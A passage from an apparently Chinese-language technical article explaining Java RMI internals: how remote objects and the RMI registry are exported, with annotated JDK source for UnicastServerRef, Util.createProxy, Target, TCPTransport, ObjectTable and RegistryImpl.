    * 其中包含对象 ID、远端地址/端口(Endpoint)等,使客户端能通过它发起远程调用。
    */
    public class UnicastRef implements RemoteRef {
    /** 封装远程对象标识与网络终端信息的“活动引用” */
    protected LiveRef ref;

    /**
    * 用给定的 LiveRef 构造一个“单播远程引用”。
    *
    * @param liveRef 远程对象的活动引用(包含 ObjID、Endpoint 等信息)
    */
    public UnicastRef(LiveRef liveRef) {
    // 记录下目标远程对象的“位置 + 标识”,供后续发起远程调用使用
    this.ref = liveRef;
    }

    // ……(省略:通常还会有 invoke、readExternal/writeExternal 等与调用/序列化相关的方法)
    }
  • forceStubUseUnicastServerRef 未显式初始化该成员,因此默认为 false

sun.rmi.server.Util#createProxy() 函数中,由于 stubClassExists 返回 false,因此不走 createStub 逻辑而是为远程对象 RemoteHello 创建动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 为给定实现类选择“动态代理”或“预生成存根(RemoteStub)”,并返回可供客户端使用的 Remote 代理。
*
* 选择规则(优先级从高到低):
* - 若 forceStubUse == true → 一律使用预生成存根(RemoteStub)
* - 否则,若存在可用的预生成存根 且 未设置忽略存根(!ignoreStubClasses) → 使用 RemoteStub
* - 其余情况 → 使用 JDK 动态代理(Proxy + RemoteObjectInvocationHandler)
*
* 动态代理:
* - 运行时为 implClass 的所有“远程接口”(继承 java.rmi.Remote 的接口)生成 $Proxy... 类,
* - 将方法调用转发给 RemoteObjectInvocationHandler,再由后者使用 clientRef 走网络调用。
* 预生成存根:
* - 加载继承 RemoteStub 的旧式 stub 类(实现远程接口),用 clientRef 构造实例。
*
* @param implClass 实现远程接口的实现类(其远程接口需继承 java.rmi.Remote)
* @param clientRef 远程引用(RemoteRef),封装传输层细节,供代理/存根发起远程调用
* @param forceStubUse 若为 true,则强制使用 RemoteStub 而非动态代理
*
* @throws IllegalArgumentException 当 implClass 的远程接口不合法(不符合 RMI 规则)时
* @throws StubNotFoundException 当查找/创建存根或创建动态代理失败时
*/
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException {
Class<?> remoteClass;

try {
// 1) 解析“远程类”:确认并获取实现类对应的“远程接口所属类层次”(需实现 java.rmi.Remote)
remoteClass = getRemoteClass(implClass);
} catch (ClassNotFoundException ex) {
// 找不到任何远程接口 → 无法进行 RMI → 视为没有 stub/proxy 可生成
throw new StubNotFoundException(
"object does not implement a remote interface: " + implClass.getName());
}

// 2) 是否走旧式 RemoteStub?
// 条件等价于:forceStubUse || (stubClassExists(remoteClass) && !ignoreStubClasses)
if (forceStubUse || !(ignoreStubClasses || !stubClassExists(remoteClass))) {
// 加载并实例化“预生成存根”,用 clientRef 进行初始化
return createStub(remoteClass, clientRef);
}

// 3) 否则走“动态代理”路径:收集远程接口 + 准备调用处理器
final ClassLoader loader = implClass.getClassLoader(); // 与目标实现类一致的类加载器
final Class<?>[] interfaces = getRemoteInterfaces(implClass); // 所有继承 Remote 的接口

// 代理的调用处理器:把方法调用封装成远程调用,通过 clientRef 发起
final InvocationHandler handler = new RemoteObjectInvocationHandler(clientRef);

// 4) 在特权块中创建 JDK 动态代理(兼容可能存在的安全管理器策略)
try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader, interfaces, handler);
}
});
} catch (IllegalArgumentException e) {
// 常见原因:接口不是 public、接口来自不同类加载器导致不可见、方法签名冲突等
throw new StubNotFoundException("unable to create proxy", e);
}
}

其中 InvocationHandlerRemoteObjectInvocationHandler 对象,并且参数传入前面 getClientRef 创建的 UnicastRef 对象并保存到 RemoteRef 成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/**
* InvocationHandler 的 RMI 实现:配合 JDK 动态代理用作“远程存根(stub)”的调用分发器。
*
* <p>当客户端通过动态代理调用远程接口方法时,JDK 会回调本类的 invoke(...)(定义在父接口
* InvocationHandler 中,具体实现在本类源码的其它位置),本类内部再利用 RemoteRef(ref)
* 将调用打包并通过 JRMP 等协议发送到服务器。</p>
*
* <p>一般应用代码无需直接使用本类;当你将远程对象以“动态代理”方式导出(如
* {@link java.rmi.server.UnicastRemoteObject} 或 {@code Activatable}),
* 生成的代理会持有一个 {@code RemoteObjectInvocationHandler} 实例作为其调用处理器。</p>
*
* @author Ann Wollrath
* @since 1.5
*/
public class RemoteObjectInvocationHandler
extends RemoteObject
implements java.lang.reflect.InvocationHandler {

/**
* 用指定的远程引用构造调用处理器。
*
* @param ref 远程引用(封装了目标地址、对象ID、协议栈等信息)
* @throws NullPointerException 若 ref 为 null
*/
public RemoteObjectInvocationHandler(RemoteRef ref) {
super(ref); // 交由 RemoteObject 记录远程引用
if (ref == null) {
throw new NullPointerException();
}
}

// 说明:本类还会实现 InvocationHandler#invoke(Object, Method, Object[]),
// 其典型逻辑是:
// 1) 对 equals/hashCode/toString 等来自 Object 的方法做本地语义处理;
// 2) 其余远程接口方法通过 ref.invoke(...) 进行网络调用并返回结果/异常。
}

/**
* RMI 远程对象的“Object 语义”基类:提供对远程引用(RemoteRef)的统一持有与
* equals/hashCode/toString 等方法的远程语义实现(见 JDK 源码)。
*
* <p>关键点:</p>
* <ul>
* <li>ref:保存远程引用(RemoteRef)。远程引用中包含对象 ID(ObjID)、远端地址、
* 传输协议等,供调用时使用。</li>
* <li>equals/hashCode:在 RMI 里通常基于远程引用来判断“是否同一远程对象”,
* 并据此计算哈希(见 RemoteObject 的具体实现)。</li>
* <li>toString:打印包含远程引用信息的字符串,便于排查。</li>
* </ul>
*
* @author Ann Wollrath
* @author Laird Dornin
* @author Peter Jones
* @since JDK1.1
*/
public abstract class RemoteObject implements java.rmi.Remote, java.io.Serializable {

/** 远程对象引用:封装了对象标识与网络终端信息,供远程调用时使用 */
protected RemoteRef ref;

/**
* 用给定的远程引用构造远程对象基类。
*
* @param newref 远程引用(不可为 null;通常由导出流程注入)
*/
protected RemoteObject(RemoteRef newref) {
this.ref = newref;
}

// 提示:在 JDK 标准实现中,这个类还会覆写 equals/hashCode/toString,
// 并实现 Externalizable/序列化相关细节,以保证远程对象的“远程语义”一致性。
}

创建完动态代理后 UnicastServerRef#exportObject 函数又有如下过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 3) 若采用“旧式 stub”(RemoteStub),则设置服务器“骨架(skeleton)”
// - skeleton 仅用于 JDK 1.1 时代的旧协议分发;现代客户端(动态代理)不依赖它。
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

// 4) 构造 Target:这是服务端的聚合描述,包含
// - impl:远程对象实现
// - this:调度器/分发器(当前 UnicastServerRef)
// - stub:客户端要拿到的代理
// - ref.getObjID():对象 ID(JRMP 里的唯一标识)
// - permanent:生命周期策略(是否参与 DGC)
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);

// 5) 通过传输层引用 ref 真正“导出”目标:
// - 绑定对象 ID → Target
// - 打开/注册监听(若尚未)
// - 准备好入站调用的分发
ref.exportObject(target);

// 6) 为 JRMP 的方法分发准备“方法哈希→Method”的映射缓存
// - JRMP 通过方法签名哈希(long)标识远程调用的方法,此表用于快速从哈希反查到反射 Method。
hashToMethod_Map = hashToMethod_Maps.get(implClass);

// 7) 返回客户端要使用的 stub(调用方通常会把它注册到 RMI Registry)
return stub;
  1. 由于创建的存根是远程对象的代理类而不是 RemoteStub 的示例,因此不调用 setSkeleton 函数。
  2. 创建了一个 sun.rmi.transport.Target 对象用来保存远程对象的信息。
  3. 通过 UnicastServerRef#exportObject 方法将 target 对象导出。
  4. 更新 hashToMethod_Map。这里 hashToMethod_Map 存储的是方法哈希方法的对应关系,后面远程调用是根据方法哈希找到方法的。
  5. 返回存根,即远程对象的动态代理。

其中 sun.rmi.transport.Target 的构造函数如下,这里要注意初始化的成员变量及其含义,后面会用到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 为远程实现对象 {@code impl} 构造一个“服务端目标(Target)”条目,并与给定的
* 唯一对象标识 {@link ObjID} 绑定。Target 用于在传输/分发层跟踪并路由入站的
* 远程调用:网络请求到达后由分发器将其转为对 {@code impl} 的本地方法调用,
* 而客户端持有的存根(stub)内部携带可到达本 Target 的远程引用信息。
*
* <p>参数含义:</p>
* <ul>
* <li><b>impl</b>:远程对象的“真实实现”(必须实现 {@link java.rmi.Remote}),实际执行业务逻辑。</li>
* <li><b>disp</b>:分发器/调度器(通常为 {@code UnicastServerRef}),负责把入站请求分派到 {@code impl}。</li>
* <li><b>stub</b>:客户端将得到的远程代理;其内部包含指向本 Target 的远程引用信息。</li>
* <li><b>id</b>:此远程对象在 JRMP 里的唯一标识(对象 ID),用于路由与定位。</li>
* <li><b>permanent</b>:是否“永久导出”。为 {@code true} 时通常不参与分布式 GC 的租约回收,
* 对象在无远程引用时也不会被自动 unexport(具体行为视实现而定)。</li>
* </ul>
*/
public Target(Remote impl, Dispatcher disp, Remote stub, ObjID id, boolean permanent) {
// [...] 这里通常会做参数校验、记录 impl、permanent 等状态

// 负责把入站的网络调用分派到 impl 的分发器
this.disp = disp;

// 客户端可使用的远程代理(序列化到客户端侧)
this.stub = stub;

// 远程对象的唯一标识,用于路由与查表
this.id = id;

// [...] 这里通常还会初始化导出状态、访问控制上下文、类加载器/上下文类加载器等
}

另外 UnicastServerRef#exportObject 有如下调用链:

1
2
3
UnicastServerRef#exportObject
TCPEndpoint#exportObject
TCPTransport#exportObject

其中 TCPTransport#exportObject 函数代码逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/**
* 导出(register)一个目标对象,使其可以接收来自客户端的远程调用。
*
* 生命周期/并发要点:
* - 使用“监听器引用计数”(exportCount)来管理服务器监听套接字的开启/关闭。
* 当 exportCount 从 0→1 时启动监听;当从 1→0 时(在其它位置)才会关闭监听。
* - 这里先在同步块内确保监听已开启并递增计数,然后再尝试把 Target 注册到
* 导出表(ObjID → Target 的查找表)中;若注册失败,会回滚计数。
*/
public void exportObject(Target target) throws RemoteException {
/*
* 1) 进入临界区:确保“开启监听 + 计数递增”是一个原子动作,
* 避免与并发的 unexport(可能在计数归零时关闭监听)发生竞态。
*/
synchronized (this) {
listen(); // 懒加载/幂等:确保服务器套接字与接收线程已启动
exportCount++; // 引用计数 +1:表示又有一个对象处于已导出状态
}

/*
* 2) 尝试把 Target 注册到导出表(供分发层通过 ObjID 查找),
* 如果任一步骤抛异常(例如重复导出、传输层异常),需要回滚计数。
*/
boolean ok = false; // 标志位:只有完全成功时才维持计数;否则在 finally 回滚
try {
super.exportObject(target); // 父类完成真正的“注册/绑定”动作(可能抛出异常)
ok = true; // 全流程成功:维持计数不变
} finally {
if (!ok) {
// 3) 失败回滚:把前面加过的引用计数减回去。
// 这里也放在同步块中,避免与其它导出/取消导出并发修改计数产生竞态。
synchronized (this) {
decrementExportCount(); // 若计数归零,内部可能触发关闭监听
}
}
}
}

该函数首先调用 listen() 函数为 stub 开启随机端口,之后调用 Transport#exportObjecttarget 注册到 ObjectTable 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 将目标对象导出到传输层,使其能够接收来自客户端的入站调用。
* 这里是 TCP 传输的导出入口(精简版逻辑)。
*/
public void exportObject(Target target) throws RemoteException {
// 1) 记录“该 Target 是由哪个传输实现导出的”,以便后续反向查找/回收
target.setExportedTransport(this);

// 2) 将 Target 注册到全局对象表:建立 ObjID/实现 ↔ Target 的双向索引,
// 并根据是否永久对象调整“保活计数/回收线程”状态。
ObjectTable.putTarget(target);
}

/**
* 将 Target 加入对象表(ObjectTable),使其可被 ObjID 查找到并接受远程调用。
*
* 线程/生命周期要点:
* - 使用 tableLock 保护 objTable/implTable 的一致性;
* - 若实现对象已被 GC 回收(弱引用失效),直接跳过,不再导出(见 6597112);
* - 对非永久对象,递增 keep-alive 计数,必要时确保“回收线程/保活机制”处于运行状态,
* 以清理失效条目并避免 JVM 提前退出。
*/
static void putTarget(Target target) throws ExportException {
// “对象端点”:包含 ObjID + 传输层地址(endpoint)等信息,作为对象表主键
ObjectEndpoint oe = target.getObjectEndpoint();
// 指向实现对象的弱引用,用于检测实现是否被 GC 回收(避免强引用导致内存泄漏)
WeakRef weakImpl = target.getWeakImpl();

if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + oe);
}

// 用全局锁保护对象表的并发更新
synchronized (tableLock) {
/*
* 若实现对象已被回收,则不进行导出(避免在 null 检查与 put 之间被回收的竞态)。
* 在持有 tableLock 时执行该检查与后续插入,保证弱引用失效不会在其间被回收线程处理。
*/
if (target.getImpl() != null) {

// 1) 冲突检测:同一个 ObjID 不可重复导出
if (objTable.containsKey(oe)) {
throw new ExportException("internal error: ObjID already in use");

// 2) 同一个实现对象不可被“重复导出”为不同 Target(通常是一对象一导出)
} else if (implTable.containsKey(weakImpl)) {
throw new ExportException("object already exported");
}

// 3) 建立双向索引:
// - objTable:ObjectEndpoint → Target(入站请求用 ObjID 查 Target)
// - implTable:WeakRef(impl) → Target(便于根据实现对象进行管理/回收)
objTable.put(oe, target);
implTable.put(weakImpl, target);

// 4) 非永久对象需要“保活”:递增计数,确保回收/保活线程运行
if (!target.isPermanent()) {
incrementKeepAliveCount();
}
}
}
}

从最 putTarget 的实现可以看出,target 是被放入 objTableimplTable 中。从键 oeweakImpl 可以看出,ObjectTable 提供 ObjectEndpointRemote 实例两种方式来查找 Target

远程对象创建过程可以总结为下图所示:

img

  • 远程对象继承 UnicastRemoteObjectexportObject 用于将这个对象导出,每个远程对象都有对应的远程引用(UnicastServerRef)。
  • 对象导出是指,创建远程对象的动态代理,并将对象的方法和方法哈希存储到远程引用的 hashToMethod_Map 里,后面客户端通过传递方法哈希来找到对应的方法。同时开启一个 socket 监听到来的请求。远程对象、动态代理和对象 id 被封装为 Targettarget 会被存储到 TCPTransportobjTables 里,后面客户端通过传递对象 id 可获取到对应 target
  • 动态代理 Stub 中含有这个远程对象的联系方式(LiveRef,包括主机、端口、对象id)。

注册中心创建

在代码中,我们通常使用 java.rmi.registry.LocateRegistry#createRegistry 来创建注册中心:

1
LocateRegistry.createRegistry(1099);

createRegistry 方法实际创建了一个 RegistryImpl 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 在本地主机上创建并“导出”一个 {@code Registry} 实例,使其在指定 {@code port}
* 上接受远程请求(等价于在当前 JVM 内启动一个内置的 RMI 注册中心)。
*
* <p>导出过程本质上与调用
* {@link java.rmi.server.UnicastRemoteObject#exportObject(Remote, int)}
* 类似:把一个 {@code RegistryImpl} 实例作为远程对象在给定端口上导出。
* 唯一的区别是:注册中心这个远程对象使用了一个“**预定义的对象标识**”
* {@link java.rmi.server.ObjID#REGISTRY_ID},以保证 RMI 运行时能用固定的 ObjID
* 精确定位到该注册中心对象。</p>
*
* <p><b>注意</b>:
* <ul>
* <li>这是“**进程内**”创建注册中心,不需要外部启动 {@code rmiregistry} 可执行程序。</li>
* <li>若 {@code port} 为 0,将使用匿名端口(调试可用,但对外服务通常应使用固定端口,
* 默认习惯端口为 1099)。</li>
* <li>当端口被占用、套接字创建失败或权限受限时会抛出 {@link RemoteException}。</li>
* </ul>
*
* @param port 注册中心监听的 TCP 端口;0 表示匿名端口
* @return 已导出的注册中心远程对象(实现了 {@link java.rmi.registry.Registry})
* @throws RemoteException 若导出失败(端口占用、网络/权限问题等)
* @since JDK 1.1
*/
public static Registry createRegistry(int port) throws RemoteException {
// 构造并导出一个 RegistryImpl;其父类/内部会完成 Unicast 导出与固定 ObjID 绑定
return new RegistryImpl(port);
}

RegistryImpl 的构造方法首先创建 LiveRef 对象,然后创建 UnicastServerRef 对象,最后调用 setup 进行配置。这里 LiveRef 传入的 id 为 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* 注册中心使用的“预定义对象编号”(ObjID 常量)。
* RMI 运行时依靠这个固定的 ObjID 来唯一定位本地进程内的 Registry 实例。
*/
public static final int REGISTRY_ID = 0;

/**
* Registry 的固定对象标识:等价于 new ObjID(0)。
* 客户端在不知道对象具体引用的情况下,也能通过该 ObjID 与服务器端的注册中心通信。
*/
private static ObjID id = new ObjID(ObjID.REGISTRY_ID);

/**
* 在指定端口上构造一个新的 RegistryImpl,并完成服务端导出所需的 ServerRef 初始化。
*
* @param port 监听端口(典型为 1099,即 Registry.REGISTRY_PORT;0 表示匿名端口)
* @throws RemoteException 初始化/导出失败时抛出
*/
public RegistryImpl(int port) throws RemoteException {

// 如果使用“默认注册中心端口”且启用了 SecurityManager,则仅对该端口授予临时权限。
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
try {
// 以最小权限运行:只在本 doPrivileged 块内临时授予对 localhost:port 的 listen/accept 权限
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
// 使用“固定 ObjID(REGISTRY_ID)+ 指定端口”构造 LiveRef(活动引用)
LiveRef lref = new LiveRef(id, port);

// 用 LiveRef 创建服务端远程引用(UnicastServerRef),并指定反序列化/入站过滤器
// registryFilter:用于校验入站数据/调用(JEP 290 风格的过滤器)
setup(new UnicastServerRef(lref, RegistryImpl::registryFilter));
return null;
}
},
/* context */ null,
/* 附加权限:仅限对 localhost:<port> 的监听与接收,最小化授权面 */
new SocketPermission("localhost:" + port, "listen,accept"));

} catch (PrivilegedActionException pae) {
// 将特权块中出现的受检异常转换/抛出为 RemoteException
throw (RemoteException) pae.getException();
}

} else {
// 非默认端口(或未启用 SecurityManager):按常规路径初始化
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref, RegistryImpl::registryFilter));
}
}

setup 方法中,依旧是使用 UnicastServerRefexportObject 方法导出对象,只不过这次 export 的是 RegistryImpl 这个对象(之前是远程对象的动态代理对象 UnicastRemoteObject)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
* 使用传入的 UnicastServerRef(服务端远程引用)对当前远程对象进行初始化并导出。
*/
private void setup(UnicastServerRef uref) throws RemoteException {
// 1) 先“安装”服务端引用:
// 必须在导出之前把 ServerRef 赋给当前远程对象(this.ref),
// 这样导出流程里构造 Target、注册对象表、生成 stub 等步骤
// 都能拿到正确的引用与传输配置。
this.ref = uref;

// 2) 执行真正的导出动作:
// - 第一个参数:当前远程对象(作为实现 impl)
// - 第二个参数:扩展数据(此处为 null)
// - 第三个参数:permanent=true,表示“永久导出”(通常不参与 DGC 的自动 unexport)
// 导出过程中会:
// * 确保传输层开始监听
// * 创建/选择客户端 stub(动态代理或 RemoteStub)
// * 以 ObjID 注册到对象表(ObjectTable)
// * 使该对象可以接收远程调用
uref.exportObject(this, /* data */ null, /* permanent */ true);
}

在执行 exportObject 时,内部会调用 createProxy 选择代理实现;由于 stubClassExists 检测到待导出的 RegistryImpl 存在预生成存根 sun.rmi.registry.RegistryImpl_Stub,因此走 createStub 路径,返回该存根,而不是为 RegistryImpl 生成 JDK 动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 为给定实现类选择“动态代理”或“预生成存根(RemoteStub)”并返回 Remote 代理。
*
* 选择规则(布尔化等价式):
* useStub = forceStubUse || (!ignoreStubClasses && stubClassExists(remoteClass))
*
* 含义:
* - forceStubUse=true → 强制走旧式 *_Stub 存根;
* - 否则:若未忽略存根 且 确有 *_Stub → 走存根;
* - 其余情况 → 走 JDK 动态代理(Proxy + RemoteObjectInvocationHandler)。
*
* 例:对 RegistryImpl,JDK 自带 sun.rmi.registry.RegistryImpl_Stub,
* 因此 stubClassExists(...) 为 true → 走 createStub(...)。
*/
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
// ... 省略:remoteClass = getRemoteClass(implClass) 等前置校验

// 若强制使用存根,或确实存在 *_Stub 且未被配置为忽略存根,则创建 RemoteStub 实例
if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}

// 否则:构造 InvocationHandler 与接口数组,走动态代理路径
// return Proxy.newProxyInstance(..., new RemoteObjectInvocationHandler(clientRef));
// ... 省略
}

/**
* 判断“给定远程类”是否存在“预生成的存根类(*_Stub)”。
*
* 机制:
* - 按约定尝试加载 <远程类全名> + "_Stub";
* - 成功则返回 true;
* - 找不到则把该远程类放入负缓存 withoutStubs,避免后续重复探测,再返回 false。
*
* @param remoteClass 远程类(其接口需继承 java.rmi.Remote)
* @return 是否存在 *_Stub 存根类
*/
private static boolean stubClassExists(Class<?> remoteClass) {
// 负缓存未命中才去尝试加载,避免重复 Class.forName 带来的开销
if (!withoutStubs.containsKey(remoteClass)) {
try {
// 按老规约尝试:不初始化类(false),并使用与 remoteClass 相同的类加载器
Class.forName(remoteClass.getName() + "_Stub",
/* initialize = */ false,
/* loader = */ remoteClass.getClassLoader());
return true; // 成功加载,说明存在预生成存根

} catch (ClassNotFoundException cnfe) {
// 记录负缓存:该远程类没有 *_Stub,后续直接返回 false
withoutStubs.put(remoteClass, null);
}
}
// 负缓存命中或加载失败:视为不存在 *_Stub
return false;
}

createStub 函数通过反射将 RegistryImpl_Stub 类加载并实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* 为指定远程类创建并返回其“预生成存根(*_Stub)”实例,使用给定的 RemoteRef 初始化。
*
* 约定:
* - 存根类命名为:<远程类全名> + "_Stub";
* - 存根类应当继承 RemoteStub,并提供单参构造:<init>(RemoteRef)。
*
* 加载器选择:
* - 使用 remoteClass 的类加载器加载 *_Stub(可能为 null=引导类加载器);
* - 这样可确保存根与其远程接口处于同一可见性域,并满足 RMI 对“本地加载器”的要求:
* 当通过 MarshalOutputStream/MarshalInputStream 进行编组(pickle)时,能够正确
* 注解/传递代码来源信息给远端(历史行为,现代 JDK 常默认本地可用)。
*
* 失败会被包装为 StubNotFoundException。
*/
private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
throws StubNotFoundException
{
// 1) 依据命名约定拼出存根类名
String stubname = remoteClass.getName() + "_Stub";

try {
// 2) 使用与 remoteClass 相同的类加载器加载 *_Stub(不触发静态初始化)
ClassLoader cl = remoteClass.getClassLoader(); // 可能为 null(bootstrap)
Class<?> stubcl = Class.forName(stubname, /* initialize */ false, cl);

// 3) 取得期望的构造器(通常等于 new Class<?>[]{ RemoteRef.class })
Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);

// 4) 反射创建实例并返回
return (RemoteStub) cons.newInstance(new Object[]{ ref });

} catch (ClassNotFoundException e) {
// [...]
}
}

之后回到 exportObject,由于这时候是实例化的 RemoteStub 而不是创建远程对象的动态代理,因此会调用 setSkeleton 设置骨架。

1
2
3
4
// 如果存根是 RemoteStub 的实例,设置骨架(Skeleton)
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

setSkeleton 会调用 Util.createSkeleton 创建注册中心 RegistryImpl 的骨架类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/**
* 为给定的远程实现对象查找并设置其“骨架(Skeleton)”。
*
* <p>说明:
* - Skeleton 仅用于兼容 JDK 1.1 的旧式 RMI 协议(stub/skeleton 体系)。
* 自 JDK 1.2 起服务端不再需要 skeleton;现代 RMI 依赖动态代理与服务端分发器。
* - 因此:找不到 skeleton 不应视为错误;这里用一个负缓存(withoutSkeletons)
* 记录“该类无 skeleton”,避免反复尝试加载。</p>
*
* @param impl 远程对象实现实例
* @throws RemoteException 设置过程中出现底层远程错误(通常不会因“找不到 skeleton”而抛出)
*/
public void setSkeleton(Remote impl) throws RemoteException {
// 若该实现类尚未被标记为“无 skeleton”,则尝试创建
if (!withoutSkeletons.containsKey(impl.getClass())) {
try {
// 尝试按 <RemoteClass>_Skel 的命名约定创建旧式骨架
skel = Util.createSkeleton(impl);
} catch (SkeletonNotFoundException e) {
/*
* JDK 1.2 及之后:骨架并非必需(动态代理/分发器取代了它)。
* 因此忽略该异常,并把该类加入“无 skeleton”的负缓存,避免后续重复探测。
*/
withoutSkeletons.put(impl.getClass(), null);
}
}
}

/**
* 按旧式命名约定定位并返回给定远程对象的 Skeleton 实例。
*
* <p>流程:
* 1) 确认远程类(实现了 Remote 的“最派生”实现类);
* 2) 按 <RemoteClass>_Skel 的命名约定,用相同类加载器尝试加载;
* 3) 反射构造并返回实例。</p>
*
* <p>注意:现代 JDK 通常不会生成 *_Skel,找不到应视为正常并抛出
* {@code SkeletonNotFoundException} 供上层转入“无 skeleton”路径。</p>
*
* @param object 远程对象实例
* @return 与该对象匹配的 Skeleton
* @throws SkeletonNotFoundException 找不到或无法构造 skeleton
*/
static Skeleton createSkeleton(Remote object) throws SkeletonNotFoundException {
final Class<?> remoteClass;
try {
// 获取“远程类”基准(通常是实现了 Remote 的实现类)
remoteClass = getRemoteClass(object.getClass());
} catch (ClassNotFoundException ex) {
throw new SkeletonNotFoundException(
"no remote class for " + object.getClass().getName(), ex);
}

// 旧式骨架命名:<RemoteClass>_Skel
final String skelName = remoteClass.getName() + "_Skel";
try {
// 用与远程类相同的类加载器加载,且不触发静态初始化
ClassLoader loader = remoteClass.getClassLoader();
Class<?> skelClass = Class.forName(skelName, /* initialize */ false, loader);

// 旧式实现常用无参构造;现代写法用反射新 API 更安全
@SuppressWarnings("deprecation")
Skeleton skel = (Skeleton) skelClass.newInstance();
return skel;

} catch (ClassNotFoundException ex) {
// [...]
}
}

createSkeleton 会根据传入的存根对象的类 RegistryImpl_Stub 找到对应的远程对象的类 RegistryImpl,然后通过名称拼接得到对应的骨架对象 sun.rmi.registry.RegistryImpl_Skel 并使用反射将其加载并实例化。

之后依旧是:

  1. 封装 target 对象,将 ResgitryImplRegistryImpl_Stub 封装成 Target
  2. LiveRef#exportObjecttarget 导出,开启监听端口。
  3. putTargettarget 放入 objTableimplTable

完成远程对象创建和注册中心创建后,objTable 会有三个值:

  • DGC 垃圾回收:stubDGCImpl_StubskelDGCImpl_Skel
  • 创建的远程对象:stub 为远程对象的代理对象,skelnull
  • 注册中心:stubRegistryImpl_StubskelRegistryImpl_Skel

由上可知注册中心就是一个特殊的远程对象,和普通远程对象创建的差异:

  • LiveRefid 为 0。
  • 远程对象 Stub 为动态代理,注册中心的 StubRegistryImpl_Stub,同时还创建了RegistryImpl_Skel
  • 远程对象端口默认随机,注册中心端口默认 1099。

总结一下注册中心创建的一些关键点:

  • LocateRegistry#createRegistry 用于创建注册中心 RegistryImpl
  • 注册中心是一个特殊的远程对象,对象 id 为 0。
  • 导出时不会创建动态代理,而是找到 RegistryImpl_Stub,同时创建了对应的骨架 RegistryImpl_Skel,Stub 会被序列化传递给客户端,其重写了 Registrylookupbind 等方法,会对传输和接收的数据流进行序列化和反序列化。
  • 后面的 socket 端口监听、target 存储到 objTables 和远程对象的导出一致。

远程对象注册

首先是直接使用 RegistryImplbind 方法注册的方式:

1
2
3
Registry registry = LocateRegistry.createRegistry(1099);
RemoteHello hello = new RemoteHello();
registry.bind("hello", hello);

提示

  • createRegistry :在当前 JVM 内 new RegistryImpl(port) → 调用 setup(...).exportObject(...) 把它导出 → 把这个实现对象本身返回。你随后对 registry.bind(...) 的调用是本地方法调用,直接进 RegistryImpl#bind,把 (name → obj) 放进 bindings;不经过网络。

  • getRegistry / Naming.bind :拿到的是客户端引用(stub/动态代理),对它调用 bind(...) 会经由 JRMP 走网络,到达远端的 RegistryImpl#bind

这里的 bind 方法实际上就是把 nameobj 放到 bindings 这个哈希表中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 将指定的远程对象与给定名称绑定到注册表中。
*
* 语义:
* - 若名称尚未被占用,则把 (name → obj) 放入注册表;否则抛 AlreadyBoundException。
* - 该方法只做“登记”,不负责导出远程对象;通常应先对 obj 调用
* UnicastRemoteObject.exportObject(...) 获取可用的 stub,再绑定。
*
* @param name 要绑定的名称(不能为 null 或空串;为 null 将触发 NullPointerException)
* @param obj 要绑定的远程对象(必须实现 java.rmi.Remote;为 null 将触发 NullPointerException)
* @throws RemoteException 远程调用路径上的通信错误
* @throws AlreadyBoundException 名称已存在时抛出;若要覆盖请用 rebind(...)
* @throws AccessException 访问被拒(例如远程调用方无权限进行 bind)
*/
public void bind(String name, Remote obj)
